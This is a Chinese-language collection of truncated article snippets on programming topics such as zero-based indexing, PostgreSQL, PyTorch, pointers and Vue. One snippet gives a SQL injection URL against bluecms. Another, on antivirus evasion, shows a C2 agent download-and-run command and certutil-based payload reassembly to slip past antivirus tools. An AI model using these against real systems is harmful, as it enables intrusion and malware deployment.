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为什么数组下标从 0 开始?而不是 1?

很多小伙伴初学编程的时候都被元素下标折磨过,为什么很多编程语言要把 0 作为第一个下标索引,而不是直观的 1 呢?...,那是否有理由选择其中的一种而不是另一种?...2 个不等式来说,下界小于序列中的最小值,这会出现一个问题,比如我们的连续序列是 [0,1,2,3,4] 那么按照第 2 个不等式的写法,不等式的左边就是 -1,-1 是非自然数,而我们需要表示的连续序列是自然数序列...遵循不等式 1 的规则: 当从下标 1 开始时,下标范围 1 ≤ i 1 当从下标 0 开始时,下标范围 0 ≤ i < N 哪个更优雅?...Dijkstra 是这样解释的:从下标 0 开始能够给出更好的不等式,因为元素的下标就等于序列中它前面的元素数(或者说 “偏移量”)。 问题解决!

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--PostgreSQL 怎么正确的开始POSTGRESQL 调优的活动 1

下为译文 如果要优化POSTGRESQL主要从两个部分入手,系统层面和数据库层面 1 OS metrics 将数据与日志的目录分离,是否都放在一个物理磁盘中 CPU 是否有瓶颈...在不同表空间移动表的问题 但今天讨论的都不是这些,今天讨论的是错误的配置参数的问题 1 shared_buffer what does this parameter mean1️⃣、 多少物理内存应该分配给...前几年的会上有人提出8G就够了的理论, 那给了90%的内存不是应该获得更好的性能 所以我们不应该注意数字是多少,而是明白其中的原理....) 例如你运行了一个查询,你需要的数据页面在磁盘上,你需要将数据页面从OS层面提交到你的share_buffers 在ORACLE ,MYSQL中也是这样操作的, 但POSTGRESQL 是不能直接从OS...DISK上将数据提交到内存中,而是将需要的数据告知系统,从系统的层面来将页面缓存到系统的CACHE 中,在灌入到BUFFER_CACHE中.

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    POSTGRESQL DUMP recovery.conf 从postgresql 12V 开始

    之前一直在用POSTGRESQL 11 , 对recovery,conf 的印象比较深,到了PG12 这个文件已经移动到了POSTGRESQL.CONF 文件中了. 是那么的简单吗?...在PG 12 当中recovery.conf 已经转移到了 postgresql.conf 中 我们需要说说在POSTGRESQL 中的变化 1 随着recovery.conf 融合到POSTGRESQL.conf...,你无法在打开的POSTGRESQL 数据库 4 当你的POSTGRESQL12V中存在两个信号文件, 1 standby.singal 2 recovery.singal 到底那个信号量优先被发现和使用...下图是POSTGRESQL 12版本中可以在系统中进行配置的RECOVDEY 的变量....那么这样的情况下有么有需要注意的地方 1 通过alter system 操作recovery的传统参数,的优先级最大,将写入到postgresql.conf 中如果在直接在postgresql,conf

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    Greenplum和Postgresql的主键自增

    参考:https://blog.csdn.net/u011042248/article/details/49422305 1、第一种情况就是创建数据表的时候创建主键自增,由于业务需要自己的数据表已经创建了...由于Greenplum是从Postgresql发展而来的,由于postgreSQL主键自增需要使用序列,所以Greenplum主键自增也需要使用序列。...使用SERIAL的方式创建ID主键自增,需要注意的是Greenplum和Postgresql区分大小写,所以注意加上双引号。 1 DROP TABLE IF EXISTS "core_data"."...1 CREATE SEQUENCE users181020_ID_seq 2 START WITH 1 #如果你从1递增,那么你可以设置1,由于我的已经存在数据,所以设置最大MAX("ID")就行了...START WITH 100 3 INCREMENT BY 1 4 NO MINVALUE 5 NO MAXVALUE 6 CACHE 1; 然后使用下面的alter table语句就可以将自己的表设置主键自增了

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    漫话:如何给女朋友解释为什么计算机从0开始计数,而不是从1开始?

    他认为,使用左闭右开的表达方式,当下标从 1 开始时,下标范围为 1 1;当下标从 0 开始时则是 0 <= i < N; 而显然后面这种表达式更加漂亮、优雅一些。...但是值得一提的是,在C语言流行起来之前,还是有很多1-base的编程语言的,如FORTRAN、BASIC等编程语言的数组下标都是从1开始的。 随着C语言的发扬光大,很多语言都参考了C语言的做法。...;Python的祖先之一ABC语言,使用的索引是从1开始的(1-based indexing),而对Python语言有巨大影响的另一门语言,C语言的索引则是从0开始的。...我最早学习的几种编程语言(Algol, Fortran, Pascal)中的索引方式,有的是1-based的,有的是从定义的某个变量开始(variable-based indexing)。...半开区间切片语法如果和1-based的索引方式结合起来,则会变得不优雅。 而使用闭合区间切片语法的话,为了从第i位索引开始取后n个元素,你就得把表达式写成a[i:i+n-1]。

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    1 | 从0开始学PyTorch

    所谓的生成对抗网络可以理解成有两个人,一个是古董鉴定大师,一个赝品伪造大师,当然最开始他俩都比较弱,但是在训练网络的过程中,实现的逻辑就是赝品伪造大师造出来赝品给鉴定大师看,鉴定大师判断这是不是赝品,然后把结果告诉伪造大师...当然,在学习之初我们也不需要关心具体的模型结构,直接来动手跑一下吧。 前面是一些必须的函数定义部分,大概是生成器模型构造的过程,我也不是很懂,就暂且这么写吧。.../data/p1ch2/zebra.jpg') out_img 我们看一下效果 看起来效果还是不错的,除了马本身,其他的地方基本上没有什么变化,虽然细节的位置处理的有点不是那么好,但是总体来说还不错...'resnet18', pretrained=True) 写了这段代码,就可以直接从线上库里获得训练好的模型...,当然,我在执行这段代码的时候遇到了一些问题,首先是这个库里已经没有了master分支,这不是问题,把它改成了main。

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    数组下标为什么从0开始,而不是1?

    例如:二叉树,堆,图,等,是非线性表,是因为,在非线性表中,数据之间并不是简单的前后关系。 数组是如何随机访问数组元素? 数组是如何实现根据下标随机访问数组元素的吗?...2,根据下标随机访问的时间复杂度是O(1)。 低效的“插入”和“删除” 插入 插入:从最好O(1) 最坏O(n) 平均O(n) 什么时候会是O(1)?...删除 删除:从最好O(1) 最坏O(n) 平均O(n) 和插入数据类似,如果我们要删除 K 个位置的数据,要保证内存的连续性,我们需要搬移 K 位置后的所有数据往前移动一位。 什么时候会是O(1)?...为什么数组要从 0 开始编号,而不是1? 从偏移角度理解a[0] 0为偏移量,如果从1计数,会多出K-1。增加cpu负担。...为什么循环要写成 for(inti=0;i不是 for(inti=0;i<=2;i++)。

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    从0开始学习之bluecms(1)

    主要是我最近太忙了无时间更新(挖src,挖cnvd,学业and so on),近期开始会陆续更新了。...入门代码审计,大家通常会选择从bluecms开始审计,我也就从这个cms开始更新吧(我也是边学边更新) 0x01正文 我使用的环境php5.4.45+apache 重装覆盖漏洞 我们先走正常流程搭建好网站如下...由于很多网站会存在重装覆盖的漏洞,所以我们先访问下install文件 可以发现这里确实可以重新安装该网站,漏洞+1(这里还和代审无关) SQL注入 这里,我们需要用上seay源代码审计工具...让我们回到刚才的文件 可以发现数据是从这里利用GET方式进入的,当参数不为空时,trim函数会去除字符串两侧的空格,所以对我们没什么影响 这里可以发现文件上方引用了另外一个文件 可以发现,当没有开启魔术引号的时候就进入下面这处对数据的输入进行一定地处理...ad_id=-1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where

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    CocosCreator基础教程—从zIndex开始(1)

    1. 引言 从Cocos2d-x/lua/js过来的老鸟们肯定发现了,在CocosCreator属性检查器中Node节点竟然没有zIndex属性。...我发现自己是用了CocosCreator快一年才去想到这个问题的。 2. zIndex编辑器控制实现 要用编辑器控制,最简单的方案就是编写组件脚本了。...运行在浏览器或H5环境没什么问题,但跑在原生环境zIndex对应的是cocos2d-x中的Node::setLocalZOrder(int localZOrder)函数,它的参数类型是整型。...这个组件只在onLoad时设置了节点的zIndex,如果运行过程中,给这个组件的zIndex属性赋值没有任何作用,并且在编辑器中,你设置zIndex也看不到节点层级的变化。 4....不要小看了这个组件的设计,它蕴涵了CocosCreator的组件编程模式和思想。

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    如何从0到1开始机器学习?

    当时的经验是需要核对多方的数据,那就是算法离线计算出来的结果,线上计算出来的结果,真实产品中所展示的结果这三方的数据必须要完全一致,一旦不一致,就需要复盘核查,而不是继续推进项目。...但是当时做安全项目的时候并没有实际的业务经验,而且暂定的计划是基于 XX1 和 XX2 两个业务来进行试点机器学习。...通过几次的接触和交流之后总算 2017 年 1 月份做出一个简单的游戏 AI,通过机器学习也能够进行游戏 AI 的自主学习。...运营中心这边还在探索和起步阶段,业界的智能运维(AIOPS)的提出也是在2017年才逐步开始,那就是从手工运维,自动化运维,逐步走向人工智能运维的阶段,也就是所谓的 AIOPS。...意思是说,如果你想真正地写出好的诗词,就要在生活上下功夫,去体验生活的酸甜苦辣,而不是抱着一本诗词歌赋来反复阅读。

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    免杀学习-从指令绕过开始-1

    免杀学习-从指令绕过开始-1 破晓 免杀新伙伴-daybreak,这个工具是类似CS的工具 下面的图片是它的控制界面,利用了Web界面更加简介美观且自带中文 分析一下它自带的上线语句 支持多种操作系统的上线...127.0.0.1:1338/d/pzxsnoqd pzxsnoqd.exe && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwe 需要注意的是破晓的上线操作需要利用探针的参数才行...居然没杀,成功上线 进行360木马查杀中的快速查杀,居然还没杀掉 技巧一(缝合) 当我们利用certutil进行的时候,会发现我们加密后的数据过于冗长可能会在上传过程中遇到很多问题,那么我们可以利用文件切割...,再利用我们的COPY指令进行缝合 copy 1.txt+2.txt+......certutil -decode out.txt test.exe 运行木马程序 火绒报错 360在文本进行编译成exe后直接报警 技巧二(冷知识) windows命令行,中执行命令对文件判断时,不是判断文件后缀而是判断文件头

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    Java的日期类的时间从为什么是从1970年1月1日开始?

    UNIX considers the epoch (when did time begin) to be midnight, January 1, 1970....是说java起源于UNIX系统,而UNIX认为1970年1月1日0点是时间纪元。...另外1年365天的总秒数是31536000秒, 2147483647/31536000 = 68.1年 也就是说32位能表示的最长时间是68年,而实际上到2038年01月19日03时14分07秒,便会到达最大时间...位来表示时间的最大间隔是68年,而最早出现的UNIX操作系统考虑到计算机产生的年代和应用的时限综合取了1970年1月1日作为UNIX TIME的纪元时间(开始时间),而java自然也遵循了这一约束。...8点而非0点,原因是存在系统时间和本地时间的问题,其实系统时间依然是0点,只不过我的电脑时区设置为东8区,故打印的结果是8点。

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    从0开始认识指针,再到熟悉基本的运用(1)

    1、1、1内存 其实形象一点的概括的话,内存也就相当于是一个在现实生活中的学生宿舍,而我们购买的电脑上面内存有8GB/16GB/32GB就相当于是公寓的大小。...1、1、2地址 在现实中的门牌号,也就相当于是地址,在计算机中,我们也把内存单元的编号叫做地址。而在c语言中,我们给地址取了一个新的名字:指针。...计算机中的编址,并不是把每个字节的地址记录下来,而是通过硬件设计完成的。如果看不懂的话,可以从现实中找些案例,就比如说乐器,钢琴,吉他等。...5、指针变量类型的意义 5、1指针的解引用 可以通过下面这两段代码,来开始了解 //代码1 #include int main() { int n = 0x11223344; int...; printf("%p\n", pi); printf("%p\n", pi+1); return 0; } 可以看出,char类型的指针变量+1跳过的是1个字节,int类型的指针变量+1跳过的是

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    从0开始学自定义View -1

    那么我们应该怎么去做呢,首先要干嘛,其次又干嘛,最后干嘛呢,这都是过程中的一个节点。下面呢我们就从第一步开始。 一张图认识View ?...wm.getDefaultDisplay().getMetrics(dm); return dm.heightPixels; } widthMeasureSpec,heightMeasureSpec 这两个参数不是简单的整数类型...Paint 1:初始画笔 ----- Paint的使用 canvas.drawCircle(100, 100, 50, paint) 这是一个要绘制圆形图片的代码,两个100分别是XY轴坐标,50是半径...Paint.Cap getStrokeCap() 返回paint的Cap,控制如何处理描边线和路径的开始和结束。 void setStrokeCap(Paint.Cap cap) 设置线帽。...结果是使用此画笔绘制绘制 src 将与使用默认画笔绘制绘制 dst 相同(至少从几何角度来说是这样的)。 ?

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    POSTGRESQL 提高POSTGRESQL性能的一些习惯 (1)

    PostgreSQL 是一个很有意思的数据库,在使用中有一些习惯可以在同等的硬件下,更加有效的使用硬件提供的资源,让管理和使用POSTGRESQL 获得更多的性能。...1 是否需要降低文件的数量 POSTGRESQL 的文件很多,这里指的文件的数量,主要指两方面的的文件,数据文件与日志文件,降低文件的数量有两个方式 1 降低产生数据的量 2 提高单体文件的数据承受数据的量...刚才我们提高这里有两个地方 1 数据 2 日志 基于数据的文件默认POSTGRESQL 是以1G作为一个分界点,一个表如果大小超过1G 的情况下将分割为多个文件,而日志文件默认是16MB一个,超过大小后...如下图,这个系统中的单个数据文件的大小不是1G 而是 4G。...2 WAL 数据的大小 众所周知,POSTGRESQL 的WAL 带有的信息不少尤其,在有full_page的情况下,所以默认16MB一个的日志文件本身在大量进行DML的操作系统并不是一个好的设置,

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    Vue.js从0开始到实战开发1:通过简单案例从0开始了解Vue

    而为了让这种双大括号的写法起作用,需要给这种传统网页引入vue.js,也就是vue的安装部署(如下下图所示) 最简单的Vue界面 每个Vue的页面都是通过Vue函数创建一个新的Vue实例开始的。...data里面各个参数值的变化,就是靠的是methods里定义的各个事件处理的方法。这些事件处理的方法可以被绑定在某个html元素上,通过用户点击、双击、长按该html元素等操作方法来触发。...上述的渲染等也是根据data里面的数据的变化而变化。这样基本上,控制了data里面各个参数的值的变化,就控制了整个页面视图内容的变化。这个时候Vue就可以满足Uniapp的app、小程序等场景了。...总结 1、把这个页面上要动态变化的html代码和vue实例中data属性内的各个参数相互绑定,这个时候手动修改data里面各个参数的值,就能让视图的页面内容动态变化。...视频链接:https://www.bilibili.com/video/BV1Cq4y1w7iY?

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